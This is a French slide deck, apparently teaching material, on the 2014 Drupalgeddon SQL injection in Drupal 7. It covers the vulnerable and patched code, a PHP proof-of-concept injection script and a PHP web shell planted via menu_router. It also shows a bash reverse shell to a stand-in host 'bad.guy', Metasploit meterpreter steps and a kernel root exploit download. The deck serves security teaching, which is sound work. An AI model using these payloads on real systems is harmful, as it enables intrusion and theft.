## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"--> ## système vulnérable * Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/) * paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com) * le couper juste après la conf du DHCP à l'install * à l'installation * surtout pas d'upgrade pour garder un kernel vulnérable **Nous disposons d'une machine vulnérable à un** **[Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)** ## Drupal vulnérable * [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704) ```shell $ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1` $ chown -R $HTTPDUSER sites/default/files $ chmod -R 0700 sites/default/files ``` * les images [ova sont là](https://gitlab.com/mazenovi/webSec) ## Trouver un système vulnérable sur le www [<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal) [<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal) ## Trouver un système vulnérable sur le www * ne filtrer que les drupal vulnérables * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) ```http $ python cmsmap.py -t http://drup.al ... [H] Drupal Vulnerable to SA-CORE-2014-005 ... ``` ## La faille * [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005) * Version: 7.x < 7.32 * Date: 2014-October-15 * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels) ## La faille [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { $new_keys[$key . '_' . $i] = $value } } ``` * $i est un index de tableau de variables HTTP * les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP ## La faille [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); /* patched version begin */ foreach (array_values($data) as $i => $value) { /* patched version end */ $new_keys[$key . '_' . $i] = $value } } ``` * [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique Note: - combien de dev PHP? - combien utilisent array_values() - forcer le type des paramètres est une bonne option - debugging et dump variable à creuser - code drupal compliqué ou mal fait ## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) * 3 nov. 2014 : release de deux exploits publiques ## Timeline côté attaquant * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 15 oct. 2014, 4h après : exploitations en cours… * 16 oct. 2014 : de très nombreux Drupal compromis… ## Exploitation manuelle remplacer ```html <input id="edit-name" name="name" type="text"> ``` par ```html <input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" /> <input name="name[0]" type="text" value="test" /> ``` <!-- .element class="fragment roll-in" --> Note: - mettre un mot de passe ## PoC [<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) ```php $url = $argv[1]; $sql = $argv[2]; $sql = str_replace('{', '\' , CHAR(123), \'', $sql); $sql = str_replace('}', '\' , CHAR(125), \'', $sql); $sql = str_replace('[', '\' , CHAR(91), \'', $sql); $sql = str_replace(']', '\' , CHAR(93), \'', $sql); $sql = urlencode($sql); //Send a request to the user login form $post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test"; $post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); ``` ```shell $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' ``` ## Admin user * [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/) ```shell python2 drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337 ``` * représente 26% d'utilisation de la faille * industrialisé pour vendre du viagra <!-- .element class="fragment roll-in" --> ## Backdoor rerésente 68% des attaques Simple backdoor shell ```php $malicious_file_to_upload = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; passthru($_REQUEST["cmd"]); die; } phpinfo();'; ``` * [passthru()](http://php.net/manual/fr/function.passthru.php) * Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt) ## Backdoor * Architecture Drupal * menu_router * un url = un callback + un tableau d'arguments sérialisés ```sql insert into menu_router values ('backdoor','','','file_put_contents', $attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,''); ``` Payload ```php $attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload); $attack_payload = serialize($attack_payload); ``` [http://drup.al/backdoor](http://drup.al/backdoor) Note: - bien entendu on appelle pas ça backdoor - en réalité l'exploit de Matt Korostoff marche avec un cookie - deux ou trois échappement sont nécessaire - même pas besoin créer le compte admin hein ... - automatisable à souhait ## exploitation ```shell $ php attack/exploit.php 'http://drup.al' ``` * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) * affiche phpinfo() * [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) * affiche les paramètres SQL ## exploitation ```shell nc -lvvp 1337 ``` met le poste de l'attaquant en écoute sur le port 1337 ```http http://drup.al/sites/default/files/backdoor.php? cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash'); ``` en version encodée ```http http://drup.al/sites/default/files/backdoor.php? cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0 ``` * connecte le serveur sur l'IP de l'attaquant Note: - discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/) - Bind shell improbable - ICMP Reverse Shell passe par le protocole ICMP - analyse des ping wireshark - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/) - sur ma maquette ca marche aussi sur le port 80 ... ## metasploit [exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb) ```shell msf > use exploit/multi/http/drupal_drupageddon msf exploit(drupal_drupageddon) > set RHOST drup.al msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp msf exploit(drupal_drupageddon) > set LHOST bad.guy msf exploit(drupal_drupageddon) > exploit [✳] Started reverse handler on 172.16.76.145:4444 meterpreter > shell whoami www-data ``` <!-- .element class="fragment roll-in" width="200px"--> Note: - l'autocomplétion avec tabulation - Port à rerouter of course ## escalade de privilèges * [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) * environ tous les 2 ans * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094) * fonctionne sur les archi 64bits uniquement * kernel de 2.6.37 à 3.8.10 ```shell $ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead $ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c $ gcc -O2 semtex.c $ ./a.out $ whoami ``` ## W00T <!-- .element width="100%"--> ## Moralité * un malheur n'arrive jamais seul * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy) * tout doit être à jour * système, lib, cms, services, ... * mieux vaut s'appuyer sur des communautés * réactives * préoccupées par la sécurité * bien suivre les mises à jour des produits * et patcher asap quand nécessaire